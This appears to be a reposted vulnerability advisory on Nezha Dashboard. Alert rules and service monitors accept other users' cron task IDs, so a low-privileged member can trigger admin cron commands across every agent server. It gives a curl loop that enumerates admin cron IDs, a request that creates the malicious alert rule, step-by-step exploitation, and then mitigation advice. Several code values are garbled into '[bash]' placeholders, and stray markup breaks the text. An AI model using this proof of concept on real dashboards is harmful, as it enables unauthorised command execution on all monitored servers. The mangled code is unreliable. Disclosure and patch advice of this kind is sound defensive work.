Listen to this Post
The vulnerability arises because `createAlertRule` and `createService` accept `FailTriggerTasks` and `RecoverTriggerTasks` arrays without validating that the referenced cron task IDs belong to the caller.
The validation functions `validateRule` and `validateServers` only check server ignore lists – not trigger task ownership.
When an alert or service monitor trips, the code calls `CronShared.SendTriggerTasks` with those task IDs.
`SendTriggerTasks` looks up each task ID in the global cron registry (c.list) with no ownership check.
It then invokes `CronTrigger` for every cron in the list.
For crons with `Cover=CronCoverAll` or Cover=CronCoverIgnoreAll, `CronTrigger` fans the command out to every connected agent server.
A `RoleMember` can attach their alert rule to an admin’s cron task ID (e.g., ID 1) via a crafted POST to /api/v1/alert-rule.
By triggering an offline condition on their own server, the admin’s cron command executes across all servers.
This bypasses any admin‑only restriction on `/cron` write endpoints.
The attack requires guessing admin cron IDs (low effort if sequential or leaked) and a triggerable condition.
The same issue exists in service monitor creation/update endpoints.
Code locations: `cmd/dashboard/controller/alertrule.go:47-77`, `service/singleton/crontask.go:113-127`.
No ownership check in `validateRule` (only checks `rule.Ignore` servers).
`SendTriggerTasks` iterates `taskIDs` and calls `CronTrigger` regardless of UserID.
`CronTrigger` for non‑alert covers sends commands to all servers in ServerShared.Range.
The vulnerability is reachable with any authenticated `RoleMember` credentials.
Tested against commit `50dc8e660326b9f22990898142c58b7a5312b42a` on master.
PoC: enumerate admin cron IDs, create alert rule with fail_trigger_tasks:
</code>, then force agent offline.
<h2 style="color: blue;">dailycve form:</h2>
Platform: Nezha Dashboard
Version: master 50dc8e6
Vulnerability : Unchecked Task IDs
Severity: Medium
date: May 22 2026
<h2 style="color: blue;">Prediction: Jun 5 2026</h2>
<h2 style="color: blue;">Analytics under heading What Undercode Say:</h2>
[bash]
Enumerate possible admin cron IDs (1..N)
for id in {1..20}; do
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"name\":\"test\",\"rules\":[{\"type\":\"offline\",\"duration\":1,\"min\":1.0,\"cover\":\"YOUR_SERVER_ID\"}],\"fail_trigger_tasks\":[$id],\"recover_trigger_tasks\":[],\"notification_group_id\":0,\"trigger_mode\":0,\"enable\":true}" \
http://nezha.example.com/api/v1/alert-rule | jq .
done
Create alert rule with a known admin cron ID
curl -X POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"trip","rules":[{"type":"offline","duration":3,"min":1.0,"cover":"MEMBER_SERVER_ID"}],"fail_trigger_tasks":[bash],"recover_trigger_tasks":[],"notification_group_id":0,"trigger_mode":0,"enable":true}' \
http://nezha.example.com/api/v1/alert-rule
Vulnerable code snippet (service/singleton/crontask.go:113-127)
func (c CronClass) SendTriggerTasks(taskIDs []uint64, triggerServer uint64) {
c.listMu.RLock()
var cronLists []model.Cron
for _, taskID := range taskIDs {
if c, ok := c.list[bash]; ok { // no ownership check
cronLists = append(cronLists, c)
}
}
c.listMu.RUnlock()
for _, c := range cronLists {
go CronTrigger(c, triggerServer)()
}
}
Exploit:
1. Obtain a `RoleMember` token via `/api/v1/login`.
- Guess an admin’s cron ID (e.g., 1) by trying IDs in a test alert rule and checking if the alert is accepted.
- Create an alert rule or service monitor with `fail_trigger_tasks` set to that admin cron ID.
- Cause the alert to trip (e.g., stop the agent on your own server).
- The admin’s cron command runs on every server due to
Cover=CronCoverAll.
Protection from this CVE
- Upgrade to a patched version (commit after
50dc8e6) that adds ownership checks in `validateRule` andvalidateServers. - If patching is not possible, restrict POST access to `/api/v1/alert-rule` and `/api/v1/service` to admin users only.
- Avoid using `CronCoverAll` or `CronCoverIgnoreAll` for admin crons; use `AlertTrigger` cover instead.
- Monitor logs for suspicious alert rules referencing high‑ID cron tasks from non‑admin users.
Impact
A low‑privileged `RoleMember` can execute arbitrary commands (from any existing admin cron) on every server monitored by the Nezha dashboard. This leads to full compromise of all agents, data exfiltration, lateral movement, and denial of service.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
